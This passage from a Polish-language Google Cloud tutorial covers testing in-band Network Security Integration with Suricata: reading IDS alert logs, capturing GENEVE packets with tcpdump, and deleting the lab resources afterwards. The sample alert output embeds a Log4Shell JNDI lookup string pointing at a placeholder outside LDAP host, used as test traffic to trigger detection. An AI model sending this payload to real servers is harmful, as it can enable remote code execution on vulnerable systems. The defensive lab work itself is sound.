gcloud compute ssh suricata-$zonea \ --zone $zonea
- Wyświetl logi, filtrując je według typu ataku:
cat /var/log/suricata/eve.json | grep log4j
Możesz zobaczyć niektóre wpisy. Jeśli nie widzisz żadnych wpisów, sprawdź logi maszyny wirtualnej Suricata w $zoneb. Przykładowe dane wyjściowe:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- Wróć do Cloud Shell, zamykając sesję SSH.
exit
Opcjonalnie możesz połączyć się z maszyną wirtualną Suricata w strefie $zoneb (suricata-$zoneb) przez SSH i sprawdzić logi.
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
Wyświetl logi, filtrując je według typu ataku:
cat /var/log/suricata/eve.json | grep log4j
Przykładowe dane wyjściowe:
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
Dodatkowo przechwytywanie pakietów to dobry sposób na wyświetlanie i weryfikowanie ruchu.
To polecenie spowoduje odfiltrowanie pakietów GENEVE. Przykładowe polecenie:
sudo tcpdump -i any -nn udp port 6081
Teraz wyślij kilka testowych pakietów danych z maszyny wirtualnej klienta. Przykładowe dane wyjściowe:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
Zwróć uwagę, że za pomocą tcpdump możesz zobaczyć nagłówki GENEVE. Źródłowy adres IP to adres bramy podsieci (10.0.0.1), a docelowy adres IP to adres reguły przekierowania (10.0.0.11 lub 10.0.0.12). Enkapsulowane pakiety zawierają oryginalne pakiety – adres IP klienta consumer-$zonea (192.168.0.2) lub consumer-$zoneb (192.168.0.3) oraz miejsce docelowe google.com. Potwierdza to, że pakiety są przechwytywane i wysyłane do urządzenia innej firmy za pomocą Network Security Integration.
- Wróć do Cloud Shell, zamykając sesję SSH.
exit
Gratulacje. Udało Ci się wdrożyć i przetestować środowisko z integracją Network Security Integration (NSI) w zakresie.
5. Czyszczenie
Konsument
Usuń maszyny wirtualne konsumentów:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
Usuwanie powiązania zapory sieciowej i zasad:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
Usuń grupę profili zabezpieczeń i profil zabezpieczeń:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
Usuń powiązanie punktu końcowego i grupy punktów końcowych przechwytywania:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
Usuwanie Cloud NAT, Cloud Routera i zarezerwowanego adresu IP
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
Usuwanie sieci VPC i podsieci
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Producent
Usuwanie wdrożeń przechwytywania:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
Usuń grupę wdrożeń przechwytujących (zanim to polecenie zostanie wykonane, wdrożenia przechwytujące muszą zostać usunięte):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
Usuwanie reguł przekierowania:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
Usuń zarezerwowany adres IP reguły przekierowania:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
Usuń usługę backendu:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
Usuń niezarządzane grupy instancji:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
Usuwanie kontroli stanu:
gcloud compute health-checks delete nva-hc -q
Usuń maszyny wirtualne producenta:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Usuń Cloud NAT, Cloud Router i zarezerwowany adres IP:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
Usuń powiązanie zasad zapory sieciowej:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
Usuń zasadę zapory sieciowej:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
Usuwanie sieci VPC i podsieci
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. Gratulacje!
Gratulacje, udało Ci się ukończyć ćwiczenie z programowania dotyczące integracji zabezpieczeń sieci w zakresie z Suricatą.
Obejrzyj filmy demonstracyjne dotyczące NSI w paśmie od konkretnych dostawców:
Zapoznaj się z przewodnikami wdrażania dla poszczególnych dostawców, które mogą być przydatne w Twojej organizacji: